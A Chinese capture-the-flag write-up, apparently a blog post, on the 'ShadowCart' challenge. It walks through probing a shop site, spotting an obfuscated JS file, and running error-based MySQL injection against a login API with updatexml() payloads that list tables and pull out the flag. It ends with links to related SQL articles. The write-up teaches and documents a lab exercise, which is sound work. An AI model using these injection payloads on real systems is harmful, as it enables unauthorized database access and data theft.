【SQL注入】 ShadowCart

先进行信息收集。

搜索框输入1。

搜索框输入单引号。

点击库存后发现有个可以修改的参数。

测试后发现范围为1-101。

点击分类后发现/category下的<名>,随便改一个。

白名单限制,不符合白名单404。

查看comment.js后发现有四个api接口。

总结:

候选点 测试现象 结论
搜索 /search?q= 加单引号只返回 "0 条",不报错 引号被转义 / 参数化,字符串型注不进
库存 /api/product/?id= 101-1 id 被强制转整数,非数字归零
分类 /category/<名> 非白名单名一律 404 分类名走白名单,拼不进 SQL
common.js 4 个 POST 接口 名字叫 postNoise(噪声),纯干扰

明面没有,攻击面可能会藏在 JS 里。

在商品页里除了常见的 jquery/common/mall,还有一个名字不同的 satellite-runtime.js,打开一看是混淆代码。

如何判断是混淆代码?当一个 JS 里 "看不到正常英文单词 / URL,却有大量数字数组,并且数字被某个函数包起来 ",基本就是用 String.fromCharCode 把字符串拆成 ASCII 数字藏起来了。文件开头那行 var _k=['fromCharCode','createElement','src',...] 更是直接 "自报家门"------ 它连函数名都拆了。

经过测试后发现除了最后一个接口,其余都访问失败。

接下来我们对 /api/auth/usbkey/verify 发 POST。

因为有keycode和pin,所以我们用这两个进行传参,先用1进行测试。

用单引号进行测试。

有报错,可以使用报错注入。

sql 复制代码
keycode=1' and updatexml(1,concat(0x7e,database()),1)-- -&pin=1 

直接查只有三个表,没有看到flag,猜测flag被隐藏在后面:

sql 复制代码
keycode=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)-- -&pin=1 

所以修改为:

sql 复制代码
keycode=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),1)-- -&pin=1

LIMIT 3, 1意思为先跳过前 3 行,然后只取 1 行 ------ 也就是结果里的第 4 行

sql 复制代码
keycode=1' and updatexml(1,concat(0x7e,(select group_concat(flag) from flags)),1)-- -&pin=1 

另一边用right解决。

sql 复制代码
keycode=1' and updatexml(1,concat(0x7e,(select right(flag,23) from flags)),1)-- -&pin=1 
相关推荐
程序员阿鹏2 小时前
如何实现MySQL分库分表?
数据结构·数据库·sql·mysql·缓存
liangsheng_g3 小时前
Spring事务传播行为分派与挂起恢复源码实战
数据库·sql·spring
杨云龙UP4 小时前
MySQL Host is blocked because of many connection errors 导致 JDBC 连接失败排查与解决
linux·运维·网络·数据库·sql·mysql·登录失败
旺仔不是程序员6 小时前
复合索引最左前缀原则:PostgreSQL 的 WHERE 为什么必须命中第一列
数据库·后端·sql
旺仔不是程序员6 小时前
字段类型不一致:PostgreSQL 报错与索引失效的第一元凶
数据库·后端·sql
geovindu7 小时前
sql: Data Modeling Patterns
数据库·sql·设计模式·sqlserver
瀚高PG实验室7 小时前
瀚高数据库如何克隆表
数据库·sql·postgresql·瀚高数据库
bksczm8 小时前
MySQL基础篇之表的增删查改(CRUD)细则
sql·mysql
不剪发的Tony老师8 小时前
DuckDB教程:常用文本函数
数据库·sql·数据分析·duckdb